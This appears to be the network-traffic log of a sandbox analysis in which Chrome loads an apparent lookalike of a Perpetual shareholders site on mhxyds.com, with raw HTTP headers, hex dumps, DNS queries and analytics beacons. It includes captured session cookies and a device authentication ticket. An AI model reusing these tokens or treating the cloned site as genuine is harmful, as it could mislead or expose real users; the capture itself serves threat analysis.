Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

325 118.27.105.118 443 192.168.11.20 65047 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:28 UTC 14729 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:43:28 GMT
Content-Type: text/html
Content-Length: 61829
Last-Modified: Fri, 28 Jan 2022 09:57:53 GMT
Connection: close
Vary: Accept-Encoding
ETag: "61f3be21-f185"
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:43:28 UTC 14729 IN Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 20 
20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 6c 74 2d 69 65 39 20 6c 74 2d 69 65 38 20 6c 74 
2d 69 65 37 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 
20 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 6c 74 2d 69 65 39 20 6c 74 2d 69 65 38 22 3e 2
0 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 20 20 20 20 20 3c 
68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 6c 74 2d 69 65 39 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 
0d 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 
Data Ascii: <!DOCTYPE html>...[if lt IE 7]>      <html class="no-js lt-ie9 lt-ie8 lt-ie7"> <![endif]-->...[if IE 7]>         <html 
class="no-js lt-ie9 lt-ie8"> <![endif]-->...[if IE 8]>         <html class="no-js lt-ie9"> <![endif]-->...[if gt IE 8]>...>

2022-08-11 03:43:28 UTC 14745 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 
6d 79 2d 73 68 61 72 65 68 6f 6c 64 69 6e 67 2e 68 74 6d 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 34 20 63 6c 61 73 73 
3d 22 68 65 61 64 69 6e 67 20 6d 65 67 61 6e 61 76 2d 69 74 65 6d 2d 68 65 61 64 69 6e 67 22 3e 4d 79 20 53 68 61 72 
65 68 6f 6c 64 69 6e 67 3c 2f 68 34 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
Data Ascii:                           <a href="my-shareholding.html">                                                                                    
<h4 class="heading meganav-item-heading">My Shareholding</h4>                                                 

2022-08-11 03:43:29 UTC 14763 IN Data Raw: 72 6f 6c 65 3d 22 62 75 74 74 6f 6e 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 3d 22 66 61 6c 73 65 22 3e 
0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 4e 65 77 73 20 26 61 6d 70 3b 20 49 6e 73 69 67 68 74 73 0d 0a 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 65 67 61 6e 61 
76 2d 6d 65 6e 75 20 61 63 63 6f 72 64 69 6f 6e 2d 63 6f 6c 6c 61 70 73 
Data Ascii: role="button" aria-expanded="false">                                                    News &amp; Insights                               
                 </a>                                                <div class="meganav-menu accordion-collaps

2022-08-11 03:43:29 UTC 14779 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6c 69 73 74 2d 
69 74 65 6d 20 73 69 64 65 62 61 72 6e 61 76 2d 6c 69 73 74 2d 69 74 65 6d 20 73 69 64 65 62 61 72 6e 61 76 2d 6c 69 
73 74 2d 69 74 65 6d 2d 73 65 63 6f 6e 64 20 68 69 64 64 65 6e 2d 78 73 20 68 69 64 64 65 6e 2d 73 6d 22 3e 0d 0a 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 6d 79 2d 
73 68 61 72 65 68 6f 6c 64 69 6e 67 2e 68 74 6d 6c 22 3e 4d 79 20 53 68 61 72 65 68 6f 6c 64 69 6e 67 3c 2f 61 3e 0d 0a 
0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 
Data Ascii:                    <li class="list-item sidebarnav-list-item sidebarnav-list-item-second hidden-xs hidden-sm">                  
          <a href="my-shareholding.html">My Shareholding</a>                        </li>                        <li cl

Session ID Source IP Source Port Destination IP
Destination
Port

Process

326 192.168.11.20 57456 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:28 UTC 14761 OUT GET /css/fonts/helvetica-neue/2DF85E_1_0.woff2 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

327 192.168.11.20 57206 20.199.120.85 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:28 UTC 14762 OUT Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 31 37 0d 0a 4d 53 2d 43 56 3a 20 78 56 42 61 4e 4b 44 70 45 30 69 72 64 
4a 4e 54 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 32 35 62 65 64 66 62 32 34 66 66 63 64 36 31 0d 0a 0d 0a 
Data Ascii: CNT 1 CON 317MS-CV: xVBaNKDpE0irdJNT.1Context: 125bedfb24ffcd61

2022-08-11 03:43:28 UTC 14762 OUT Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 
6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 32 3c 2f 6f 73 56 65 72 3e 3c 70 72 
6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 
34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 33 3c 2f 64 65 
76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 54 6f 20 42 65 20 46 69 6c 6c 65 64 20 42 79 20 4f 2e 
45 2e 4d 2e 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 
6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 
Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19042</osVer><proc>x64</proc>
<lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>3</deviceType><deviceName>To Be Filled By 
O.E.M.</deviceName><followRetry>true</followRetry></agent></co

2022-08-11 03:43:28 UTC 14762 OUT Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 78 56 42 61 4e 4b 
44 70 45 30 69 72 64 4a 4e 54 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 32 35 62 65 64 66 62 32 34 66 66 63 64 36 31 
0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 
41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 44 53 66 36 6f 67 
44 43 38 31 36 32 37 31 67 75 41 36 46 39 71 56 64 6e 65 76 6b 62 59 2b 35 73 4a 45 7a 2f 63 63 4b 57 67 6e 58 4e 70 
2b 43 37 4f 7a 4a 61 6a 34 70 65 4a 6d 2f 65 6f 43 7a 79 41 75 34 35 55 4e 4a 48 65 6f 46 6a 70 77 4c 4b 72 79 72 53 71 
69 69 49 54 79 56 79 67 33 4c 52 6c 4d 54 79 74 59 55 4e 30 61 4f 71 
Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: xVBaNKDpE0irdJNT.2Context: 125bedfb24ffcd61<device><compact-
ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAXDSf6ogDC816271guA6F9qVdnevkbY+5sJEz/ccK
WgnXNp+C7OzJaj4peJm/eoCzyAu45UNJHeoFjpwLKryrSqiiITyVyg3LRlMTytYUN0aOq

2022-08-11 03:43:28 UTC 14763 OUT Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 78 56 42 61 4e 4b 44 70 45 30 69 
72 64 4a 4e 54 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 32 35 62 65 64 66 62 32 34 66 66 63 64 36 31 0d 0a 0d 0a 
Data Ascii: BND 3 CON\QOS 56MS-CV: xVBaNKDpE0irdJNT.3Context: 125bedfb24ffcd61

2022-08-11 03:43:29 UTC 14792 IN Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a 
Data Ascii: 202 1 CON 58

2022-08-11 03:43:29 UTC 14792 IN Data Raw: 4d 53 2d 43 56 3a 20 34 47 55 55 6b 4f 69 42 72 6b 57 2f 34 52 79 59 30 69 2b 70 36 77 2e 30 0d 0a 0d 0a 50 
61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e 
Data Ascii: MS-CV: 4GUUkOiBrkW/4RyY0i+p6w.0Payload parsing failed.

Session ID Source IP Source Port Destination IP
Destination
Port

Process

328 192.168.11.20 58738 172.64.145.85 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:29 UTC 14792 OUT POST /dns-query HTTP/1.1
Host: chrome.cloudflare-dns.com
Connection: keep-alive
Content-Length: 128
Accept: application/dns-message
Accept-Language: *
User-Agent: Chrome
Accept-Encoding: identity
Content-Type: application/dns-message

2022-08-11 03:43:29 UTC 14792 OUT Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 07 69 66 72 61 6d 65 73 0f 70 65 72 70 65 74 75 61 6c 65 71 75 69 74 
79 03 63 6f 6d 02 61 75 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 45 00 0c 00 41 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: iframesperpetualequitycomau)EA

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

329 118.27.105.118 443 192.168.11.20 57456 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:29 UTC 14792 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:28 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:29 UTC 14792 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

33 118.27.105.118 443 192.168.11.20 54515 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:41 UTC 458 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:41 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:41 UTC 458 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

330 192.168.11.20 55093 35.158.9.70 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:29 UTC 14793 OUT GET /image.aspx?url=https%3A%2F%2Fmhxyds.com%2Fshareholders.html&title=Shareholders%20%7C%20Perpetua
l&res=1920x1080&accountid=83202&rt=1716&prev=f0b268dd-a818-0db6-9ca3-86cfebd962e9&luid=3769b23c-9bb0-95f9-
aaa6-57229e53fe95&rnd=65555 HTTP/1.1
Host: 83202.global.siteimproveanalytics.io
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: AWSELBCORS=1BF185CB12C799AC7E8F30E4356ECAB670474BBE589003797336CE4C220D28A5614DC7E
EC747F692D0A0C2A750D9EEAE4C03879C28C5495E651A5552CEF5FE46587B6FE465

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

331 35.158.9.70 443 192.168.11.20 55093 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:29 UTC 14794 IN HTTP/1.1 200 OK
Cache-Control: max-age=0
Content-Type: image/gif
Date: Thu, 11 Aug 2022 03:43:29 GMT
Expires: Thu, 11 Aug 2022 03:43:29 UTC
Content-Length: 34
Connection: Close

2022-08-11 03:43:29 UTC 14794 IN Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b 
Data Ascii: GIF89a,L;

Session ID Source IP Source Port Destination IP
Destination
Port

Process

332 192.168.11.20 57205 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:29 UTC 14794 OUT GET /img/logo.svg HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Session ID Source IP Source Port Destination IP
Destination
Port

Process

333 192.168.11.20 59128 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:29 UTC 14795 OUT GET /~/media/perpetualpeic/images/hero-sp-banners/website-image-1_1665x550.ashx?w=2200&hash=BE4181F0
4B84F74A757ECFDF8522E33EE398B202 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/shareholders.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

334 192.168.11.20 61734 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:29 UTC 14796 OUT GET /img/logo-footer.svg HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Session ID Source IP Source Port Destination IP
Destination
Port

Process

335 192.168.11.20 56900 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:29 UTC 14798 OUT GET /css/fonts/vendor/bootstrap/glyphicons-halflings-regular.woff2 HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Origin: https://mhxyds.com
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: font
Referer: https://mhxyds.com/css/style.minb90e.css?v=637328095360000000
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9; __vtins__JbcoDyuSSFzJ2C7l=%7B%22sid%22%3A%20%22
cf330838-d22a-5cd6-9a98-39cc11327144%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%2
2dr%22%3A%200%2C%20%22expires%22%3A%201660194774776%2C%20%22ct%22%3A%201660192974776%7D; 
__51uvsct__JbcoDyuSSFzJ2C7l=1; __51vcke__JbcoDyuSSFzJ2C7l=c9d82cb5-ee20-5b57-9325-e7cbb12cd0dd; __51v
uft__JbcoDyuSSFzJ2C7l=1660192974780; Hm_lvt_17fe70ecc9d76a927d7f46dbe65fefca=1660192977; Hm_lpvt_17f
e70ecc9d76a927d7f46dbe65fefca=1660192977

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

336 172.64.145.85 443 192.168.11.20 58738 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:29 UTC 14799 IN HTTP/1.1 200 OK
Server: cloudflare
Date: Thu, 11 Aug 2022 03:43:29 GMT
Content-Type: application/dns-message
Connection: close
Access-Control-Allow-Origin: *
Content-Length: 468
CF-RAY: 738df79eab63bbad-FRA

2022-08-11 03:43:29 UTC 14799 IN Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 07 69 66 72 61 6d 65 73 0f 70 65 72 70 65 74 75 61 6c 65 71 75 69 74 
79 03 63 6f 6d 02 61 75 00 00 01 00 01 c0 0c 00 01 00 01 00 00 0e 10 00 04 67 0f d2 3f 00 00 29 04 d0 00 00 00 00 01 89 
00 0c 01 85 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: iframesperpetualequitycomaug?)

Session ID Source IP Source Port Destination IP
Destination
Port

Process

337 118.27.105.118 443 192.168.11.20 57205 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:29 UTC 14799 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:43:29 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:43:29 UTC 14800 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
